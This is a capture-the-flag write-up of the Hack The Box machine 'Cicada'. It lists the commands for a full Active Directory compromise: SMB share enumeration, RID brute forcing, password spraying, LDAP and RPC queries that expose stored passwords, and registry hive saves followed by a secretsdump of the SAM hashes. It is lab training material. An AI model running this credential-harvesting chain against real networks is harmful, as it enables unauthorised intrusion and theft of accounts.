> For the complete documentation index, see [llms.txt](https://a-g-1.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://a-g-1.gitbook.io/writeups/machine-writeups/htb-cicada.md).

# HTB-CICADA

## HTB-CICADA

Great machine to clarify basic loading in enumeration and clear up misconfigurations in common windows services.

<figure><img src="https://102094759-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lPTBBBi8hFKSrmtqeum%2Fuploads%2FK4nkhOyXtQCgKEfpNu48%2FCICADA.png?alt=media&amp;token=faec4b74-59c1-4457-8f82-8305313b332a" alt=""><figcaption><p>Released on 28 Sep 2024 Created by <a href="https://app.hackthebox.com/users/796798">theblxckcicada</a></p></figcaption></figure>

## Enumeration - NMAP Portscan

<mark style="color:green;">`NMAP -p- -sV <IP>`</mark>

<mark style="color:green;">`PORT     STATE SERVICE       VERSION`</mark>

<mark style="color:green;">`53/tcp   open  domain        Simple DNS Plus`</mark>

<mark style="color:green;">`88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-10-18 02:28:03Z)`</mark>

<mark style="color:green;">`135/tcp  open  msrpc         Microsoft Windows RPC`</mark>

<mark style="color:green;">`139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn`</mark>

<mark style="color:green;">`389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)`</mark>

<mark style="color:green;">`445/tcp  open  microsoft-ds?`</mark>

<mark style="color:green;">`464/tcp  open  kpasswd5?`</mark>

<mark style="color:green;">`593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0`</mark>

<mark style="color:green;">`636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)`</mark>

<mark style="color:green;">`3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)`</mark>

<mark style="color:green;">`3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)`</mark>

<mark style="color:green;">`5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)`</mark>

<mark style="color:green;">`Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows`</mark>

## Enumeration - SMB

<mark style="color:green;">`smbclient -L //<IP>`</mark>

<figure><img src="https://102094759-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lPTBBBi8hFKSrmtqeum%2Fuploads%2FtUfquxK9S0Kh3t2WVg4N%2Fimage.png?alt=media&amp;token=5b38ef50-79fd-4262-a7a2-6dced8fc6c04" alt=""><figcaption></figcaption></figure>

we will Figure out that we can access /HR without further permission

<mark style="color:green;">`smbclient -L //<IP>/HR -SMB2`</mark>

<figure><img src="https://102094759-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lPTBBBi8hFKSrmtqeum%2Fuploads%2FxWGaemTfpbGv7d5JKnFr%2Fimage.png?alt=media&amp;token=547859d7-0d9e-4c5b-8cb4-c938a06809c7" alt=""><figcaption></figcaption></figure>

wich basically leads to a .txt file with usefull content.

<figure><img src="https://102094759-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lPTBBBi8hFKSrmtqeum%2Fuploads%2FdhkHpxtcVQyOXD5LkXZG%2Fimage.png?alt=media&amp;token=633353d2-13a1-4e3e-826b-d2e78a90b464" alt=""><figcaption></figcaption></figure>

Now that we captured a Password the easy way, we have to get some users to use it with..

## Enumeration - RID-Brute Force

<mark style="color:green;">crackmapexec smb \<IP> -u guest -p '' --rid-brute</mark>

<figure><img src="https://102094759-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lPTBBBi8hFKSrmtqeum%2Fuploads%2FM4XRP4CB2m0bMnKNfpT7%2Fimage.png?alt=media&amp;token=2a8e237a-7319-4875-b5ba-57f939db47f3" alt=""><figcaption></figcaption></figure>

By Password Spray you will figure out that you can use "michael.wrightson" as a user to enumerate further with.

## Enumeration - LDAP

<mark style="color:green;">`ldapsearch -x -H ldap://<IP> -D "Cicada\\michael.wrightson" -w '<password>' -b "DC=cicada,DC=htb" "(objectClass=user)"`</mark>

Inside the LDAP Results we will find information about David Orelious, who dared to implement his Password in the Deskription.

<figure><img src="https://102094759-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lPTBBBi8hFKSrmtqeum%2Fuploads%2FLgLElBxovXGwiJFP92ra%2Fimage.png?alt=media&amp;token=ef6463f0-012e-4650-ae60-bd2eda275a3b" alt=""><figcaption></figcaption></figure>

## Enumeration RPC&#x20;

<mark style="color:green;">`rpcclient -U CICADA.htb\michael.wrightson <IP>`</mark>

<mark style="color:green;">`enumdomusers`</mark>

<figure><img src="https://102094759-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lPTBBBi8hFKSrmtqeum%2Fuploads%2FFH8PDrmcKZy0MMF7NcQP%2Fimage.png?alt=media&amp;token=870e5660-e05e-4fb1-97fb-95e10dc9a1db" alt=""><figcaption></figcaption></figure>

<mark style="color:green;">`enumdomgroups`</mark>

<figure><img src="https://102094759-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lPTBBBi8hFKSrmtqeum%2Fuploads%2FIIgOpsRY91pcMNP5Zess%2Fimage.png?alt=media&amp;token=6831c657-9e33-4a0b-a125-44a8dfe4800e" alt=""><figcaption></figcaption></figure>

## Enumeration SMB Part II

<mark style="color:green;">`crackmapexec smb <IP> -u david.orelious -p '<Password>' --shares`</mark>

<figure><img src="https://102094759-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lPTBBBi8hFKSrmtqeum%2Fuploads%2FrgNkNxCKhWikvGcWdHza%2Fimage.png?alt=media&amp;token=f462b2c3-9433-4561-bf72-8c34e5c9f446" alt=""><figcaption></figcaption></figure>

<mark style="color:green;">crackmapexec smb \<IP> -u david.orelious -p '\<password>' --groups</mark>

We should take a look inside the new gained access folders..

<figure><img src="https://102094759-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lPTBBBi8hFKSrmtqeum%2Fuploads%2FSfPJcjKA4aQOlEzLy6BU%2Fimage.png?alt=media&amp;token=ec211854-1fc9-4d13-9272-c498b85b844b" alt=""><figcaption></figcaption></figure>

and also keep in mind that they are some interesting permissions going on..

<mark style="color:green;">smbclient //\<IP>/dev  -U CICADA\\\david.orelious</mark>

<figure><img src="https://102094759-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lPTBBBi8hFKSrmtqeum%2Fuploads%2FW4yh1Ch56iQHuDAd9BKu%2Fimage.png?alt=media&amp;token=65dfadbe-9e70-470f-b661-eeffda9080fa" alt=""><figcaption></figcaption></figure>

we will find some hardcoded credentials of our dear emily here..

<figure><img src="https://102094759-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lPTBBBi8hFKSrmtqeum%2Fuploads%2F9oToIOM2v8MVI6Rh2lAm%2Fimage.png?alt=media&amp;token=e560d656-06fd-4cc6-8a2e-6b71ed8cdbad" alt=""><figcaption></figcaption></figure>

## User FLAG

<mark style="color:green;">smbclient //\<IP>/C$  -U CICADA\\\emily.oscars</mark>

<figure><img src="https://102094759-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lPTBBBi8hFKSrmtqeum%2Fuploads%2F26VmPbQmmcYvlps6PzEQ%2Fimage.png?alt=media&amp;token=b6cbfc2f-ffcc-42f1-9b49-0a19ee808a74" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

<mark style="color:green;">evil-winrm -i \<IP> -u emilly.oscars -p '\<password>'</mark>

<mark style="color:green;">whoami /all</mark>

<figure><img src="https://102094759-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lPTBBBi8hFKSrmtqeum%2Fuploads%2F2r2yX0mv2k3gVUCzDodu%2Fimage.png?alt=media&amp;token=c085c27e-c26d-4fd5-92b1-ba3d7ced9b07" alt=""><figcaption></figcaption></figure>

<mark style="color:green;">reg save hklm\sam c:\temp\sam</mark>

<mark style="color:green;">reg save hklm\system c:\temp\system</mark>

<mark style="color:green;">download sam</mark>

<mark style="color:green;">download system</mark>

Use the tool of your choice to dump the secrets now\.. in my case i used the "impacket" toolset

<mark style="color:green;">secretsdump.py -sam sam -system system LOCAL</mark>

<figure><img src="https://102094759-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lPTBBBi8hFKSrmtqeum%2Fuploads%2FEaEE1mk1h0hWxzY5BECQ%2Fimage.png?alt=media&amp;token=11368df6-888c-4d86-baac-fcbded89d43a" alt=""><figcaption></figcaption></figure>

## Root FLAG

Afterwards just Win-rm to the target machine and obtain the root.txt flag.

<figure><img src="https://102094759-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lPTBBBi8hFKSrmtqeum%2Fuploads%2F8OWzChacpISDtHSqXsRF%2Fimage.png?alt=media&amp;token=e3448784-1214-4412-b84d-eef0cab55164" alt=""><figcaption></figcaption></figure>
